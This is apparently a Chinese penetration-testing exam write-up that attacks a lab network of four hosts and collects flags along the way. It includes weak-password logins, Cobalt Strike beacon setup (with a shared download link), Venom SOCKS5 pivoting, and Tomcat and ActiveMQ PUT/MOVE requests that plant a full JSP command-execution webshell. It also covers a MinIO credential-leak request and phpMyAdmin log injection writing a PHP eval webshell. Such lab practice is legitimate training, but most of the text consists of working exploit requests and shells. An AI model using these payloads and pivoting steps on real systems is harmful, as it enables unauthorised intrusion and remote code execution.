这里考核为渗透
这里是网络拓扑图
这里记录一下
两台外网
两台内网
首先拿到C段 nmap进行扫描
外网1
nmap -p 80 172.16.17.2/24
主机存活 一般都是web服务入手 所以我们指定80端口 然后去查找开放的
最后获取到2个ip
Nmap scan report for 172.16.17.177
Host is up (0.045s latency).
PORT STATE SERVICE
80/tcp open http
MAC Address: 9C:B6:D0:6D:50:71 (Rivet Networks)
Nmap scan report for 172.16.17.134
Host is up (0.050s latency).
PORT STATE SERVICE
80/tcp open http
MAC Address: 9C:B6:D0:6D:50:71 (Rivet Networks)
我们首先查看 177的ip
扫描全端口
再扫描的时候 我们去看看web服务
发现是织梦
这里我们学过 我们拼接 dede 可以直接跳转到管理员
弱口令爆破一波 为 admin/1q2w3e4r
然后可以直接getshell
GETSHELL
进入文件管理 然后就可以上传文件
然后我们可以通过哥斯拉的zip模式 将网站down下来
然后使用命令查看flag
grep -r flag /路径
但是发现都是内容 看的眼睛难受 我们自己来获取吧
内网获取就去看看数据库
搜了一下织梦的database在哪里
C:/phpstudy_pro/WWW/data/common.inc.php
哥斯拉中链接
然后这里因为是window我们考虑使用cs上线
CS上线
链接:https://pan.baidu.com/s/1mpu0W5almTLXBtm7S6ZTyQ?pwd=h3kr
提取码:h3kr
--来自百度网盘超级会员V3的分享
上面是cs的链接
这里进行演示 这里我是使用wsl的虚拟机系统 如果是vm也是一样操作
这里也介绍一下cs的使用
首先是启动
这里列举两个方式 首先是windows 然后就是linux
java 环境需要11以上
.\teamserver 172.16.17.13 123
然后cs上线
然后我们开始设置监听
端口随便写就行了
开始生成木马
执行木马
上线成功 我们开始查看基本信息
首先设置回连
修改为0
然后在我们的会话中执行
shell ipconfig
发现二层内网
这里进行查看存活
经过发现 这里只有 192存在其他主机 所以我们开始扫192的
主机发现成功了
然后就发现存在
8080 9001 9000 80 8161这些端口
现在开始做代理
对了这里的flag在 用户的文档下可以找到
然后我们开始搞代理
我们这里使用
Venom 建立 socks5代理
我们的主机执行
./admin.exe -lport 5678
靶机执行
agent.exe -rhost 172.16.17.13 -rport 5678
然后再admin就会回显
show info
goto 1
socks 1080
即可实现socks5代理
然后我们就实现建立socks5代理
然后我们通过浏览器的代理设置 即可访问 192.168.31.131的web服务
ubuntu内网- web1 Apache Tomcat/8.5.19
搜一下有什么漏洞
发现存在一个文件写入漏洞
需要bp的帮助 这里顺便设置一下bp的socks5代理
然后我们浏览器开 bp抓包 就会从 8080 走到 1080 然后就可以实现
然后我们开始复现
首先在主页刷新抓包
修改为下面的请求包 然后这里 jsp 后面加 / 是为了绕过检测 否则无法上传
PUT /1.jsp/ HTTP/1.1
Host: 192.168.31.131
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
jsp的一句话木马
HTTP/1.1 201
Content-Length: 0
Date: Tue, 28 Nov 2023 13:24:01 GMT
Connection: close
上传成功 我们直接访问即可
getshell 然后通过哥斯拉访问(我这个是哥斯拉马)
记得配置socks5代理
flag在 根目录
ubuntu内网- web2 shiro
这里我们开始看8080端口
然后我们抓包
发现shiro框架 remember
直接工具一把锁
配置工具代理
直接getshell了 flag也在根目录
ubuntu内网- web3 activemq
8161端口
这里存在登入
这里存在manage 点击 发现 登入 弱口令 admin/admin
实现登入
发现 5.11.1版本 搜索 发现文件上传漏洞
这里我们需要去看我们的路径
http://192.168.31.131:8161/admin/test/systemProperties.jsp
记住绝对路径
然后通过bp进行抓包
修改为下面的内容 (这里需要先登入后台)
PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.31.131:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Feb 2015 18:05:11 GMT
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)
上传成功 但是去访问是没有的 我们通过 move 的协议 将他移动到 api下
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s.jsp
Host: 192.168.31.131:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Feb 2015 18:05:11 GMT
Content-Length: 328
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>
这里的 destination 是我们刚刚的获取的路径 然后加上 后面的路径实现移动
这里我的回显是
HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)
然后去到 /api/s.jsp下
执行命令
http://192.168.31.131:8161/api/s.jsp?cmd=ls
一样 cat /flag
ubuntu内网- web4 minio
9001端口
为minio 我们去查看一下有什么漏洞
发现存在信息泄露
然后这里的请求包
注意这里的内容 需要修改为 9000 (原本的minio是 9001)
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: 192.168.31.131:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Tue, 28 Nov 2023 13:43:22 GMT
用户密码 全部泄露 直接登入即可
然后flag在 容器里
这里我们就打通了 3台机器
然后这里还存在 一台外网机器
我们开始打
外网2
这里通过扫描 可以发现 134还存在 一台靶机
发现403 说明存在内容 但是没有 我们开始目录扫描
这里使用 dirsearch
然后我们去访问 发现phpmyadmin 存在弱口令 root root 登入后台
然后我们flag 就存在 admin下
然后我们去搜 phpadmin 如何getshell 这里选择日志注入
select @@datadir;
查看路径
show variables like '%general%';
查看日志功能
SET GLOBAL general_log='on';
SHOW VARIABLES LIKE '%general%';
开启日志
然后我们通过指定日志写入地址 实现注入
获取到地址 然后开始写入
这里还有一个获取地址的方法
通过php探针 我们在上面扫到了 l.php 去访问一下
set global general_log_file ='C:\\phpstudy_pro\\WWW\\shell.php'
然后我们去访问一下
然后写入木马
select '<?php @eval($_POST[cmd]);?>'
getshell 了 然后去看内网 flag就两个是在 源代码中 另一个在user的文档中
这里考核的渗透就实现了